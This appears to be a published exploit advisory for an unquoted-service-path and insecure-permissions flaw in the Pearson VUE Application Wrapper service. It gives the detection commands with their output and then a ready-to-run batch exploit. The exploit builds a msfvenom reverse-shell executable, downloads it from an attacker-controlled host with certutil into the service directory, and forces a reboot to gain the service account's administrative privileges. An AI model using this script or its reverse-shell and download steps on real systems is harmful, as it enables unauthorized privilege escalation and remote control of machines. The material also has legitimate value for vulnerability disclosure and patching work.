# Discovery by: Jok3r
# Discovery Date: 2020-09-14
# Vendor Homepage: https://home.pearsonvue.com/
# Software Link: https://vss.pearsonvue.com/VSSFiles/Documents/ENU_TCInstallGuide/Download_VTS_Installer.htm
# Tested Version: 2.3.1911
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Pro x64 es
#Description:
The Application Wrapper is the component that automates the
Pearson VUE
Testing System. The Wrapper is a scheduler that runs in the
background on
the test center’s server.
VUEApplicationWrapper service has an unquoted service path
vulnerability
and insecure file permissions on "\Pearson VUE\" directory that
allows to
overwrite by everyone
so that unauthorized local user can leverage privileges to
VUEService user
that has administrative rights.
# Detection of unquoted service path:
C:\Users\VUEService>wmic service get name, pathname,
displayname, startmode
| findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i
"Pearson" |
findstr /i /v """
VUE Application Wrapper
VUEApplicationWrapper C:\Pearson VUE\VUE
Testing System\bin\VUEWrapper.exe
Auto
C:\Users\VUEService>sc qc VUEApplicationWrapper
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: VUEApplicationWrapper
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Pearson VUE\VUE Testing
System\bin\VUEWrapper.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : VUE Application Wrapper
DEPENDENCIES : lanmanworkstation
SERVICE_START_NAME : .\VUEService
#Detection of insecure file permissions:
PS C:\Users\VUEService> Get-Acl -Path "c:\Pearson Vue\"
Directory: C:\
Path Owner Access
---- ----- ------
Pearson Vue BUILTIN\Administrators Everyone Allow
FullControl...
#Exploit code:
@ECHO OFF
ECHO [+] executing command: "wmic service get
name,pathname,displayname,startmode | findstr /i "Auto" | findstr
/i
"Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v """"
wmic service get name,pathname,displayname,startmode | findstr /i
"Auto" |
findstr /i "Pearson" | findstr /i /v "C:\Windows\\" | findstr /i /v
"""
sc qc VUEApplicationWrapper
powershell.exe -ep bypass -nop -c "Get-Acl -Path 'c:\Pearson
Vue\'"
ECHO [+] Enumeration was completed successfully.
::Create VUE.exe with following commands on your kali and serve it
on port
80. Also listen port 443 with netcat for reverse shell.
::msfvenom -p windows/x64/shell/reverse_tcp LHOST=<Your IP
Address>
LPORT=443 -f exe > VUE.exe
ECHO [*] If you create VUE.exe under "\Pearson VUE\" directory with
your
privileges, you might be able to get VUEService user privileges
after
windows was rebooted.
certutil -urlcache -split -f http://<YOUR_IP_ADDRESS>/VUE.exe
"C:\Pearson
VUE\VUE.exe"
ECHO [*] Downloading VUE executable...
PAUSE
IF EXIST "C:\Pearson VUE\VUE.exe" (
ECHO [+] The download was successful.
) ELSE (
ECHO [-] The download was unsuccessful.
PAUSE
)
ECHO [!] If you continue, system will be rebooted.
PAUSE
shutdown /r /t 0
::code end
